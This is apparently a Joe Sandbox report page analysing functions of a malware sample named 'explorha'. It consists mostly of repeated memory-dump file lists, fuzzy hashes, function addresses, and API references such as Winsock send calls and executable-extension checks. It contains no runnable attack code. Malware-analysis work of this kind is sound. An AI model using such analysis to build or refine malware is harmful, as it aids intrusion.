Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID:
String ID: XL$XL
API String ID: 0-2949781707
Opcode ID: ac59082c9d6dce2fb0acae6c1eb29a2d77903316a9a26bfd3db1b491670abf65
Instruction ID: b697337ffe96abf3987982308320fa93138171c94eaa0399ddda0f596072b228
Opcode Fuzzy Hash: ac59082c9d6dce2fb0acae6c1eb29a2d77903316a9a26bfd3db1b491670abf65
Instruction Fuzzy Hash: 03F15D75E012199BDF14CFA8C990BAEBBB1FF89314F25826ED819A7344D734AD01CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0048D6EE Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 235COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 0048D75D
__Mtx_unlock.LIBCPMT ref: 0048D86D

Strings

Q"H, xrefs: 0048D8E4

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID: Q"H
API String ID: 1418687624-3884096668
Opcode ID: 1cbd8a2addc1a6ca116a37c5f5eefa067cfd061670586398dac4bb99ebcb7b3a
Instruction ID: 49fb3e94ae8675c1d6bbebc8dff5370a7166095c6b3ae6ed6fa779f54de76a02
Opcode Fuzzy Hash: 1cbd8a2addc1a6ca116a37c5f5eefa067cfd061670586398dac4bb99ebcb7b3a
Instruction Fuzzy Hash: FB81D771D012059BDB24EB19CC85F6EB7A4EF08314F10457AE919A73D1EB39AD40CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00482DC0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00482E5F
__Mtx_unlock.LIBCPMT ref: 00482ECC
__Mtx_unlock.LIBCPMT ref: 00482FF5
__Mtx_unlock.LIBCPMT ref: 0048309B

Strings

Q"H, xrefs: 00482DD7, 00482F54, 00483103

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID: Q"H
API String ID: 1418687624-3884096668
Opcode ID: 92924a31d3fe8c0117c038a8883e7547e53385f5685a68282da069dbb9b01d07
Instruction ID: 796372721c6468cec0779467d0fe9b3e9595f045051d8563ca6a070fe9fd5ae0
Opcode Fuzzy Hash: 92924a31d3fe8c0117c038a8883e7547e53385f5685a68282da069dbb9b01d07
Instruction Fuzzy Hash: 87A1CF70901205AFDB21EF69C94476FBBB8AF15319F004A3AE915D7341EB78AA04CBD9

Uniqueness

Uniqueness Score: -1.00%

Function 0048D2DC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,00000004,00000000), ref: 0048D43E
send.WS2_32(?,?,00000008,00000000), ref: 0048D47A
send.WS2_32(?,?,?,00000000), ref: 0048D4BC

Strings

Q"H, xrefs: 0048D3F6

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: send
String ID: Q"H
API String ID: 2809346765-3884096668
Opcode ID: 1157bb48aa4181a90e8fdeb956dca5b512f386fd8db2ede14125f74b67d556bd
Instruction ID: 0a05760aaf681ec8a3f9ace114202bd1fd2f7fc51db4c21b4a1b05616bdcbf81
Opcode Fuzzy Hash: 1157bb48aa4181a90e8fdeb956dca5b512f386fd8db2ede14125f74b67d556bd
Instruction Fuzzy Hash: 1441F872E011145BDB18DB7DCC857AEB7B4EF45728F10066EE81AE73D1DA34A940CB88

Uniqueness

Uniqueness Score: -1.00%

Function 004B8829 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 004B886B

Strings

.com, xrefs: 004B88AB
.bat, xrefs: 004B889A
.exe, xrefs: 004B8878
.cmd, xrefs: 004B8889

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 9675e4aa3b3f89fd336dc0f97ca55c4cbc8b55a1eadcafa87c210ea0bc2c0bad
Instruction ID: 60917a872d78794b989c028ac71a743255c3379d4e53932b347fa6ec0d44c255
Opcode Fuzzy Hash: 9675e4aa3b3f89fd336dc0f97ca55c4cbc8b55a1eadcafa87c210ea0bc2c0bad
Instruction Fuzzy Hash: 4301C477A04626262614341DAC126A7179C9BC2BB472A002FFC44F73C1FE9DDC02D5BC

Uniqueness

Uniqueness Score: -1.00%

Function 004C6234 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 199COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 004C63EA
__freea.LIBCMT ref: 004C63F3
